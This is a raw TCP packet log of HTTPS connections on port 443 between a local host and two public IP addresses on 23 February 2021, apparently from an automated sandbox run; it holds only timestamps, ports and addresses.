Feb 23, 2021 10:03:28.760270119 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760279894 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760287046 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760304928 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760305882 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760318041 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760332108 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760365963 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760668039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760687113 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760703087 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760718107 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760742903 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760746956 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760760069 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760771990 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760777950 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760796070 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760802031 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760812998 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760831118 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760847092 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760847092 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760867119 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760878086 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760884047 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760902882 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.760915041 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.760941029 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761617899 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761636972 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761651039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761667013 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761686087 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761701107 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761703014 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761719942 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761732101 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761735916 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761753082 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761768103 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761776924 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761784077 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761801004 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761802912 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761821032 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761827946 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761863947 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.761871099 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.761919975 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762567997 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762586117 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762598038 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762614965 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762633085 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762635946 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762649059 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762665987 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762666941 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762686968 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762698889 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762706041 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762722969 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762728930 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762741089 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762756109 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762770891 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762773991 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762788057 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.762810946 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.762835979 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.763494968 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763514042 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763525963 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763555050 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763570070 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763591051 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.763626099 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.763659954 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763704062 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.763906956 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763926983 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763942957 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763958931 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763974905 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.763982058 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.763992071 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764010906 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764013052 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764031887 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764034033 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764049053 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764067888 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764075994 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764085054 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764101028 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764118910 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764122009 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764136076 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764154911 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764189005 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764870882 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764890909 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764904022 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764919996 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764939070 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764942884 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764955997 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764965057 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.764975071 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.764991999 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765007973 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765012980 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.765028000 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765045881 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765047073 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.765062094 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765069008 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.765081882 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765111923 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.765127897 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.765181065 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.774801016 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:33.197258949 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:33.197288036 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:33.197417974 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:42.362663984 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:42.362757921 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:42.428020000 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:42.428050041 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:04:28.837652922 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:28.878777027 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:28.878870964 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.533941031 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.577896118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.578135967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.579129934 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.619971991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.629286051 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.629321098 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.629338026 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.629461050 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.641987085 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.682949066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.682981968 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:36.690639973 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:36.731488943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055315018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055361986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055402994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055432081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055445910 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.055470943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055500984 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.055536985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.055655003 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.056031942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.056097984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.056176901 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.057008982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.057075024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.057535887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.057974100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.058041096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.058132887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.058967113 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.059021950 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.059108973 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.060050011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.060163975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.060422897 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.060853004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.060956001 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.061089993 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.061825991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.062010050 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.062079906 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.062738895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.062835932 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.062927961 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.063745975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.064023972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.064241886 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.064627886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.064692020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.064748049 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.065687895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.065742970 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.065814972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.071921110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.071943998 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.072056055 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.072119951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.072195053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.072252035 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.073201895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.073230982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.073313951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.096339941 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.096364021 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.096451998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.096729994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.096759081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.096832037 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.097733974 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.097765923 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.097848892 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.098683119 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.098710060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.098766088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.099617004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.099643946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.099723101 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.100598097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.100617886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.100680113 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.101516962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.101535082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.101594925 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.102468967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.102488041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.102567911 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.103636980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.103725910 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.103805065 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.104543924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.104665041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.104860067 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.105446100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.105494022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.105568886 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.106360912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.106405020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.106492996 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.107305050 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.107348919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.107424974 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.108273029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.108316898 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.108380079 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.109304905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.109345913 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.109463930 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.110183954 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.110234022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.110295057 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.111151934 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.111196041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.111284018 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.112088919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.112133026 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.112209082 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.113049984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.113090038 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.113184929 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.114032984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.114077091 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.114155054 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.114954948 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.114995956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.115068913 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.115958929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.116002083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.116080999 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.116929054 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.116971970 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.117043972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.117861986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.117913961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.118000984 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.137381077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.137470007 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.137672901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.137684107 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.137722015 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.137778997 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.138590097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.138648987 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.138746023 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.139543056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.139592886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.139683008 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.140422106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.140470982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.140552998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.141556978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.141590118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.141673088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.142474890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.142517090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.142591000 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.143438101 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.143476963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.143551111 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.144985914 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.145032883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.145174980 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.145756960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.145793915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.145911932 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.146477938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.146509886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.146595955 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.147286892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.147321939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.147429943 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.148112059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.148152113 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.148224115 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.149101019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.149130106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.149204016 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.151231050 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.151249886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.151360035 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.436465979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.439697027 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:37.965524912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:37.965711117 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.000251055 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.000819921 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.012448072 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.012600899 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.041311979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.041337967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.041349888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.041421890 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.041547060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.041565895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.041582108 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.041601896 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.041619062 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.042675018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.042700052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.042717934 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.042830944 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.043160915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.043195009 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.043210983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.043236017 CET	49769	443	192.168.2.6	104.21.50.15
